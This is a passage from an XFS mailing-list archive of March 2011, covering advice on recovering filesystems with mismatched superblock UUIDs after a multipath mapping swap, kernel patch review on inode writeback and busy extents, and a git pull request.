changed the binding between userfriendly name and WWN > for two filesystems - just swapped the mapping of two > * we omitted to also change the mount path in /etc/fstab. > Silly us. Did you change the mapping while the filesystems were mounted? > Things seemed ok until we tried to 'ls' one of the filesystems; > then we got a stack trace: > Filesystem "dm-20": XFS internal error xfs_da_do_buf(2) at line 2085 of file fs/xfs/xfs_da_btree.c. Caller 0xffffffffa027c48b That indicates a block was read from disk that had an incorrect magic number in it. i.e. it wasn't a directory block that the directory extent map pointed to. > Syslog shows that before that the device mounted cleanly: > Filesystem "dm-20": Disabling barriers, not supported by the underlying device > XFS mounting filesystem dm-20 > Ending clean XFS mount for filesystem: dm-20 > We only saw a problem when we tried to access it. OK. > Once we saw the ls failure we stopped and changed the mount paths for > the affected filesystems in fstab, then rebooted. > During boot, we got: > XFS mounting filesystem dm-13 > XFS: log has mismatched uuid - can't recover > XFS: failed to find log head > XFS: log mount/recovery failed: error 117 > XFS: log mount failed > > for both of the filesystems. Which implies that the superblock was written to disk with the wrong UUID in it. And the only way that can happen is if the superblock for the wrong filesystem is written to the block device. Hence my question of whether you swapped the paths while the filesystems were mounted - the superblock is only read during mount time, and the UUID is never modified, so the only way an incorrect UUID can be written to the filesystem is if the block device changes underneath the mounted filesystem. > We tried to revert the binding change but that didn't get us out of jail. > First we commented out the affected filesystems in /etc/fstab, rebooted. > When we tried to mount manually after checking the /dev/mapper paths > were what we thought they should be, we still got complaints about > mismatching UUIDs. Nope, once you've written a bad superblock, you're pretty much screwed > We ran xfs_check on both filesystems in turn. > > We ran xfs_metadump, which ran w/o errors but did not seem to help us much. > > Then we ran xfs_repair in -n mode on each filesystem. > Looked a bit scary, so we deferred using it. Well, that's what you're going to have to do eventually (without the -n) because it seems like you've written metadata from the filesystems to the wrong block devices, thereby corrupting both filesystems. Worse is the fact that you may have caused data corruption as well (by writing metadata into the middle of data extents) and there is no way to find that out short of checking all you data file contents yourself (e.g. via md5sum and comparing them to the files in your last backup) > We ran xfs_admin -u on each filesystem, which told us what we already knew: > # xfs_admin -u /dev/mapper/mpath0-part1 > warning: UUID in AG 1 differs to the primary SB > UUID = bd57b07f-2f07-4cb3-a641-9f3ecf72ce26 > # xfs_admin -u /dev/mapper/mpath1-part1 > warning: UUID in AG 1 differs to the primary SB > UUID = 118e731c-aca8-4c78-99d4-df297258dd63 OK, what you need to do is find out what the UUID in the secondary SB in AG 1 is, and check that they are swapped. i.e: # xfs_db -c "sb 0" -c "p uuid" /dev/mapper/mpath0-part1 UUID = # xfs_db -c "sb 1" -c "p uuid" /dev/mapper/mpath0-part1 UUID = And from the other block device, I'd expect you to see: # xfs_db -c "sb 0" -c "p uuid" /dev/mapper/mpath1-part1 UUID = # xfs_db -c "sb 1" -c "p uuid" /dev/mapper/mpath1-part1 UUID = If that is the case, then you need to reconstruct the primary superblock from the info in the secondary superblock using xfs_db, and then you'll need to run xfs_repair to detect fix all the inconsistencies that were introduced. You need to copy these fileds from the secondary SB to the primary if they are different: blocksize dblocks rblocks rextents uuid logstart rextsize agblocks agcount rbmblocks logblocks versionnum sectsize inodesize inopblock blocklog sectlog inodelog inopblog agblklog rextslog imax_pct inoalignmt unit width dirblklog logsectlog logsectsize logsunit features2 bad_features2 Note that these are not all the fields in the superblock. You do not want to copy the ones not mentioned, even if they are different in value. > > We tried mounting with -oro,nouuid,norecovery, but that didn't help: > # mount -oro,nouuid,norecovery /dev/mapper/mpath0-part1 /recover > # ls /recover/ > # ls: reading directory /recover/: Structure needs cleaning > # umount /recover No surprise there. > We tried xfs_logprint - the log had the same uuid in all the entries > that were printed out. This did not match the uuid of the SB. Which means that you might be lucky and the only metadata written to the wrong block device was the superblock. > By now we were running low on time, so we tried xfs_repair. > We tried one filesystem with -L and one without. > The former produced the expected jumble of inode-numbered files, > which we are in the process of piecing together. > The latter seemed to preserve the directory structure a bit better, > though there was still some jumbling-up. > I won't tax you with the full logs. > > That's the story. Opinions? Well, seeing as you've already run repair, I think you've probably made a mess that can't be cleaned up. I'd be checking all the data is intact once you've cleaned up the messed up directory structure. Not much else I can suggest at this point apart from point out that it is better to ask questions before trying to fix a screwup rather than after attempting to undo the damage and making the situation unrecoverable...... Cheers, Dave. -- Dave Chinner david@fromorbit.com From prvs=04232d2a1=Vince.McIntyre@atnf.csiro.au Tue Mar 8 20:47:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p292lCeA013715 for ; Tue, 8 Mar 2011 20:47:13 -0600 X-ASG-Debug-ID: 1299638996-343d02c40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from act-ironport-ext.csiro.au (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id F05E4331CCB for ; Tue, 8 Mar 2011 18:49:57 -0800 (PST) Received: from act-ironport-ext.csiro.au (act-mx-ext.csiro.au [150.229.7.36]) by cuda.sgi.com with ESMTP id tJ23nEzhlXmEIVRC for ; Tue, 08 Mar 2011 18:49:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=csiro.au; i=vincent.mcintyre@csiro.au; q=dns/txt; s=email; t=1299638998; x=1331174998; h=date:from:to:cc:subject:message-id:references: mime-version:in-reply-to; bh=99Ub5DY/5KFHV8tQ+HO19+CJd4aJGmKvY4esaXTbVqg=; b=n+8cjArz4hlowKN6CB4vOyzpRjvGn6hgViIvLuG38LqZS1icxXQTFFC+ +ncjfPBJZ11hCOkh10IADR2T6x5fLC7Dvrj/1IO/0rJzsZXSBeHDupG0z Sq9sHLpJflWOsmk; X-IronPort-AV: E=Sophos;i="4.62,287,1296997200"; d="scan'208";a="16145844" Received: from crux.tip.csiro.au ([130.155.194.32]) by act-ironport-int.csiro.au with ESMTP; 09 Mar 2011 13:49:55 +1100 Received: (from daemon@localhost) by crux.tip.CSIRO.AU (8.9.3/8.9.3/CIPAT-2.1a) id NAA06273; Wed, 9 Mar 2011 13:49:54 +1100 (EST) Received: from mayhem.atnf.CSIRO.AU(130.155.194.144) via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa06271; Wed Mar 9 13:49:51 2011 Received: from mci156 by mayhem.atnf.CSIRO.AU with local (Exim 4.69) (envelope-from ) id 1Px9TD-0002WT-L8; Wed, 09 Mar 2011 13:49:51 +1100 Date: Wed, 9 Mar 2011 13:49:51 +1100 From: Vincent McIntyre To: Dave Chinner Cc: "xfs@oss.sgi.com" X-ASG-Orig-Subj: Re: correct procedure for mismatched UUIDs (error 117) Subject: Re: correct procedure for mismatched UUIDs (error 117) Message-ID: <20110309024951.GG3702@mayhem.atnf.CSIRO.AU> References: <20110308022451.GC32056@mayhem.atnf.CSIRO.AU> <20110309005013.GG1956@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110309005013.GG1956@dastard> Thread-Topic: correct procedure for mismatched UUIDs (error 117) Accept-Language: en-US Content-Language: en-US User-Agent: Mutt/1.5.18 (2008-05-17) X-Barracuda-Connect: act-mx-ext.csiro.au[150.229.7.36] X-Barracuda-Start-Time: 1299638998 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57464 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 09, 2011 at 11:50:13AM +1100, Dave Chinner wrote: > Did you change the mapping while the filesystems were mounted? I am pretty sure we did not but unfortunately I don't think we kept a typescript of that operation so I can't be absolutely certain. My recollection is that we dismounted, flushed multipath bindings, then tweaked the bindings file and restarted multipathd. ... > > Things seemed ok until we tried to 'ls' one of the filesystems; > > then we got a stack trace: > > Filesystem "dm-20": XFS internal error xfs_da_do_buf(2) at line 2085 of file fs/xfs/xfs_da_btree.c. Caller 0xffffffffa027c48b > > That indicates a block was read from disk that had an incorrect > magic number in it. i.e. it wasn't a directory block that the > directory extent map pointed to. > I see. > > Once we saw the ls failure we stopped and changed the mount paths for > > the affected filesystems in fstab, then rebooted. > > During boot, we got: > > XFS mounting filesystem dm-13 > > XFS: log has mismatched uuid - can't recover > > XFS: failed to find log head > > XFS: log mount/recovery failed: error 117 > > XFS: log mount failed > > > > for both of the filesystems. > > Which implies that the superblock was written to disk with the wrong > UUID in it. And the only way that can happen is if the superblock > for the wrong filesystem is written to the block device. Hence my > question of whether you swapped the paths while the filesystems were > mounted - the superblock is only read during mount time, and the > UUID is never modified, so the only way an incorrect UUID can be > written to the filesystem is if the block device changes underneath > the mounted filesystem. > I'll do some more checking to see if we can ascertain if we swapped the block device underneath. I was trying to figure out which was wrong - the log or the SB - but could not decide. > > We tried to revert the binding change but that didn't get us out of jail. > > First we commented out the affected filesystems in /etc/fstab, rebooted. > > When we tried to mount manually after checking the /dev/mapper paths > > were what we thought they should be, we still got complaints about > > mismatching UUIDs. > > Nope, once you've written a bad superblock, you're pretty much screwed > So xfs_admin -U would not help? We contemplated that but because we were not sure if the log or the SB was wrong we decided against trying it. > > We ran xfs_admin -u on each filesystem, which told us what we already knew: > > # xfs_admin -u /dev/mapper/mpath0-part1 > > warning: UUID in AG 1 differs to the primary SB > > UUID = bd57b07f-2f07-4cb3-a641-9f3ecf72ce26 > > # xfs_admin -u /dev/mapper/mpath1-part1 > > warning: UUID in AG 1 differs to the primary SB > > UUID = 118e731c-aca8-4c78-99d4-df297258dd63 > > OK, what you need to do is find out what the UUID in the secondary > SB in AG 1 is, and check that they are swapped. i.e: > > # xfs_db -c "sb 0" -c "p uuid" /dev/mapper/mpath0-part1 > UUID = > # xfs_db -c "sb 1" -c "p uuid" /dev/mapper/mpath0-part1 > UUID = > > And from the other block device, I'd expect you to see: > > # xfs_db -c "sb 0" -c "p uuid" /dev/mapper/mpath1-part1 > UUID = > # xfs_db -c "sb 1" -c "p uuid" /dev/mapper/mpath1-part1 > UUID = > > If that is the case, then you need to reconstruct the primary > superblock from the info in the secondary superblock using xfs_db, > and then you'll need to run xfs_repair to detect fix all the > inconsistencies that were introduced. You need to copy these fileds > from the secondary SB to the primary if they are different: > > blocksize > dblocks > rblocks > rextents > uuid > logstart > rextsize > agblocks > agcount > rbmblocks > logblocks > versionnum > sectsize > inodesize > inopblock > blocklog > sectlog > inodelog > inopblog > agblklog > rextslog > imax_pct > inoalignmt > unit > width > dirblklog > logsectlog > logsectsize > logsunit > features2 > bad_features2 > > Note that these are not all the fields in the superblock. You do not > want to copy the ones not mentioned, even if they are different in > value. > Thanks for this, it's terrifically useful to know about this. I didn't dare fire up xfs_db, but perhaps its not so bad after all. > > > > We tried mounting with -oro,nouuid,norecovery, but that didn't help: > > # mount -oro,nouuid,norecovery /dev/mapper/mpath0-part1 /recover > > # ls /recover/ > > # ls: reading directory /recover/: Structure needs cleaning > > # umount /recover > > No surprise there. I was surprised because I thought nouuid would ignore the SB uuid and assume the log uuid was correct. Presumably xfs detected some other inconsistency? What is supposed to happen if I had mounted it with just -onouuid ? > > We tried xfs_logprint - the log had the same uuid in all the entries > > that were printed out. This did not match the uuid of the SB. > > Which means that you might be lucky and the only metadata written to > the wrong block device was the superblock. > Ok. We were thinking this indicated that we'd been lucky but could not figure out how to take advantage of that. > > By now we were running low on time, so we tried xfs_repair. > > We tried one filesystem with -L and one without. > > The former produced the expected jumble of inode-numbered files, > > which we are in the process of piecing together. > > The latter seemed to preserve the directory structure a bit better, > > though there was still some jumbling-up. > > I won't tax you with the full logs. > > > > That's the story. Opinions? > > Well, seeing as you've already run repair, I think you've probably > made a mess that can't be cleaned up. I'd be checking all the data > is intact once you've cleaned up the messed up directory > structure. > Yep, we're doing that now. > Not much else I can suggest at this point apart from point out that > it is better to ask questions before trying to fix a screwup rather > than after attempting to undo the damage and making the situation > unrecoverable...... > We felt we didn't have time to wait for help, unfortunately. Thanks for your reply, though, it is very helpful and much appreciated. I'll report back with how we went recovering things, in a few days. Kind regards Vince From david@fromorbit.com Tue Mar 8 23:44:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p295iHnB019788 for ; Tue, 8 Mar 2011 23:44:18 -0600 X-ASG-Debug-ID: 1299649630-4572007a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C9043133C539 for ; Tue, 8 Mar 2011 21:47:10 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id A4wpbTfgQ3S3ovRz for ; Tue, 08 Mar 2011 21:47:10 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAMqgdk15LK5J/2dsb2JhbACmanXCaw2FVgQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 09 Mar 2011 16:17:09 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PxCEb-00017p-Mg; Wed, 09 Mar 2011 16:46:57 +1100 Date: Wed, 9 Mar 2011 16:46:57 +1100 From: Dave Chinner To: Christoph Hellwig Cc: chris.mason@oracle.com, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Subject: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Message-ID: <20110309054657.GR15097@dastard> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-6-git-send-email-david@fromorbit.com> <20110302030602.GD4905@dastard> <20110302141220.GA4363@infradead.org> <20110303024228.GB15097@dastard> <20110303154819.GA3945@infradead.org> <20110303161929.GA5795@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303161929.GA5795@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299649631 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 11:19:29AM -0500, Christoph Hellwig wrote: > On Thu, Mar 03, 2011 at 10:48:19AM -0500, Christoph Hellwig wrote: > > I don't think we'll be able to get around chaning the dirty_inode > > callback. We need a way to prevent the VFS from marking the inode > > dirty, otherwise we have no chance of reclaiming it. > > > > Except for that I think it's really simple: > > > > 1) we need to reintroduce the i_update_size flag or an equivalent to > > distinguish unlogged timestamp from unlogged size updates for fsync > > vs fdatasync. At that point we can stop looking at the VFS dirty > > bits in fsync. > > 2) ->dirty_inode needs to tag the inode as dirty in the inode radix > > tree > > > > With those minimal changes we should be set - we already > > callxfs_sync_attr from the sync_fs path, and xfs_sync_inode_attr > > properly picks up inodes with unlogged changes. > > Actually xfs_sync_attr does not get called from the sync path right now, > which is a bit odd. Right, and that is the root cause of the "filesystem doesn't idle" problems that have been reported lately. As it is, I've taken the approach of pushing the AIL every 30s rather than calling xfs_sync_attr() as the method of avoiding this problem... > But once we add it, possibly with an earlier > trylock pass and/or an inode cluster read-ahead the above plan still > stands. I don't think that matters very much to the problem at hand. > What's also rather odd is how much we use xfs_sync_data - unlike the > inodes where our own code doing writeback based on disk order makes > a lot of sense data is actually handled very well by the core writeback > code. The two remaining callers of xfs_sync_data are > xfs_flush_inodes_work and xfs_quiesce_data. The former area really > belongs into this patchset - can you try what only calling > writeback_inodes* from the ENOSPC handler instead of doing our own stuff > does? It should give you the avoidance of double writeout for free, and > get rid of one of xfs_sync_data callers. Not odd at all - both are doing something the linux VFS has not been able to do until recently. However, where-ever I've tried to use writeback_inodes_sb_if_idle() in XFS has resulted in lockdep complaints because it takes s_umount.... > After that we just need to look into xfs_quiesce_data. The core > writeback code now does reliably writeback before calling into > ->sync_fs, so the actual writeback should be superflous. We will still > need a log force after it, and we might need an iteration through all > inodes to do an xfs_ioend_wait, but this are can be simplified a lot. I still don't fully trust the VFS data writeback to write all data out in the case of freezing the filesystem, so I'm extremely wary of dropping the data flushing that XFS is doing there. And if we still have to do a xfs_ioend_wait() pass (which we do to wait for direct io to complete), then all we are doing is dropping 2 or 3 lines of code in xfs_sync_inode_data(). Hence I'm not really inclined to change either of these calls right now as neither are critical to fixing the OOM problems. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 9 00:07:36 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2967awe023132 for ; Wed, 9 Mar 2011 00:07:36 -0600 X-ASG-Debug-ID: 1299651029-457201390000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3E38513407BF for ; Tue, 8 Mar 2011 22:10:30 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id EvC0eBP3tIVLQ730 for ; Tue, 08 Mar 2011 22:10:30 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AncGANKndk15LK5J/2dsb2JhbACYfo1sdcMCDYJ1gmEE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 09 Mar 2011 16:40:26 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PxCbJ-0001AF-Is for xfs@oss.sgi.com; Wed, 09 Mar 2011 17:10:25 +1100 Date: Wed, 9 Mar 2011 17:10:25 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [GIT] xfs: message infrastructure rework Subject: [GIT] xfs: message infrastructure rework Message-ID: <20110309061025.GT15097@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299651031 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M Custom Rule 7568M X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi Alex, Can you please pull the messaging infrastructure rework from the tree below? It is based onteh current xfs-oss/master branch, so should be completely up to date. Cheers, Dave. The following changes since commit eeb2036b8a148629b762ae6d85cff0be8106f081: xfs: zero proper structure size for geometry calls (2011-03-01 21:19:59 -0600) are available in the git repository at: git://git.kernel.org/pub/scm/linux/kernel/git/dgc/xfsdev.git xfs-message Dave Chinner (11): xfs: introduce new logging API. xfs: Convert linux-2.6/ files to new logging interface xfs: Convert xlog_warn to new logging interface xfs: convert xfs_cmn_err to xfs_alert_tag xfs: kill xfs_fs_repair_cmn_err() macro xfs: kill xfs_fs_mount_cmn_err() macro xfs: convert xfs_fs_cmn_err to new error logging API xfs: rename xfs_cmn_err_fsblock_zero() xfs: convert the quota debug prints to new API xfs: Convert remaining cmn_err() callers to new API xfs: kill support/debug.[ch] fs/xfs/Makefile | 5 +- fs/xfs/linux-2.6/kmem.c | 9 +- fs/xfs/linux-2.6/xfs_aops.c | 6 +- fs/xfs/linux-2.6/xfs_buf.c | 17 ++-- fs/xfs/linux-2.6/xfs_linux.h | 23 ++++- fs/xfs/linux-2.6/xfs_message.c | 133 ++++++++++++++++++++++++ fs/xfs/linux-2.6/xfs_message.h | 38 +++++++ fs/xfs/linux-2.6/xfs_super.c | 127 ++++++++++------------- fs/xfs/linux-2.6/xfs_sync.c | 5 +- fs/xfs/linux-2.6/xfs_sysctl.c | 2 +- fs/xfs/quota/xfs_dquot.c | 48 +++++---- fs/xfs/quota/xfs_dquot_item.c | 5 +- fs/xfs/quota/xfs_qm.c | 42 ++++---- fs/xfs/quota/xfs_qm_bhv.c | 3 +- fs/xfs/quota/xfs_qm_syscalls.c | 85 ++++++++-------- fs/xfs/quota/xfs_trans_dquot.c | 5 +- fs/xfs/support/debug.c | 107 ------------------- fs/xfs/support/debug.h | 61 ----------- fs/xfs/xfs_bmap.c | 17 ++-- fs/xfs/xfs_buf_item.c | 15 ++-- fs/xfs/xfs_da_btree.c | 9 +- fs/xfs/xfs_dfrag.c | 4 +- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_node.c | 25 ++--- fs/xfs/xfs_error.c | 22 ++-- fs/xfs/xfs_error.h | 19 +--- fs/xfs/xfs_fsops.c | 6 +- fs/xfs/xfs_ialloc.c | 82 ++++++--------- fs/xfs/xfs_inode.c | 124 ++++++++++------------ fs/xfs/xfs_iomap.c | 12 +- fs/xfs/xfs_log.c | 124 +++++++++++------------ fs/xfs/xfs_log_priv.h | 4 - fs/xfs/xfs_log_recover.c | 223 +++++++++++++++++++-------------------- fs/xfs/xfs_mount.c | 148 ++++++++++++++------------- fs/xfs/xfs_quota.h | 3 +- fs/xfs/xfs_rtalloc.c | 8 +- fs/xfs/xfs_rtalloc.h | 2 +- fs/xfs/xfs_rw.c | 40 +++---- fs/xfs/xfs_trans_ail.c | 2 +- fs/xfs/xfs_trans_buf.c | 6 +- fs/xfs/xfs_vnodeops.c | 13 +-- 41 files changed, 785 insertions(+), 846 deletions(-) create mode 100644 fs/xfs/linux-2.6/xfs_message.c create mode 100644 fs/xfs/linux-2.6/xfs_message.h delete mode 100644 fs/xfs/support/debug.c delete mode 100644 fs/xfs/support/debug.h -- Dave Chinner david@fromorbit.com From BATV+cb595f82e7b703444944+2754+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 9 05:08:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p29B8DEi036427 for ; Wed, 9 Mar 2011 05:08:13 -0600 X-ASG-Debug-ID: 1299669068-73d4033d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7A9E2332E84; Wed, 9 Mar 2011 03:11:08 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id zmXS4NCKSHSI6Du8; Wed, 09 Mar 2011 03:11:08 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxHIJ-0005Ld-Qf; Wed, 09 Mar 2011 11:11:07 +0000 Date: Wed, 9 Mar 2011 06:11:07 -0500 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: do not immediately reuse busy extent ranges Subject: Re: [PATCH 3/3] xfs: do not immediately reuse busy extent ranges Message-ID: <20110309111107.GB17556@infradead.org> References: <20110304125953.650347660@bombadil.infradead.org> <20110304130119.656476789@bombadil.infradead.org> <1299538896.2578.897.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299538896.2578.897.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299669068 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 07, 2011 at 05:01:36PM -0600, Alex Elder wrote: > This time I just scanned most of the change, since it appears > it's almost the same except for the (renamed) xfs_alloc_busy_trim() > function. Yes. > It looks correct now, but I have a few things for you > to consider. I'll wait for your response in case you want to > change anything. After that I'll pull in the three patches > (probably tomorrow). For now please just pull the first two. There's a fair chance number three will change based on how the discard work goes. > I agree that the notation (from Dave) that you use here > is very helpful in visualizing what's going on. But > the underlying code is pretty simple, and it gets somewhat > lost in the comments I think. I therefore would kind of > prefer to have the explanation moved up above the function. > It clearly labels the cases being treated, and references > to those can be put in the code, below. > > (This is a style thing, so if you feel strongly that it's > better as you have it, so be it.) I tried that before, but matching the cases to numbers in comments wasn't very readable so I switch to this notation. > All the nice diagrams refer to the variable "fbno" > and "fend" using "bno" and "end. I think you should > either drop the "f" in the variables or add it to > the comments. Indeed. I did a last minute cleanup to consolidate the duplicate variables and didn't update the comments. > (Something like that anyway, I just wanted to provide > an example rather than just saying "it's wrong.") Ok. From sandeen@sandeen.net Wed Mar 9 11:27:39 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p29HRYcE050168 for ; Wed, 9 Mar 2011 11:27:39 -0600 X-ASG-Debug-ID: 1299691823-351a00870000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 507ADACE169 for ; Wed, 9 Mar 2011 09:30:23 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id de0XokhAaGHM29rS for ; Wed, 09 Mar 2011 09:30:23 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 4E9EA48FF030; Wed, 9 Mar 2011 11:30:23 -0600 (CST) Message-ID: <4D77B92F.9020008@sandeen.net> Date: Wed, 09 Mar 2011 11:30:23 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: Alex Elder CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: make 127 and 134 clean up after themselves Subject: Re: [PATCH] xfstests: make 127 and 134 clean up after themselves References: <201103042022.p24KMAss008218@stout.americas.sgi.com> In-Reply-To: <201103042022.p24KMAss008218@stout.americas.sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299691824 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 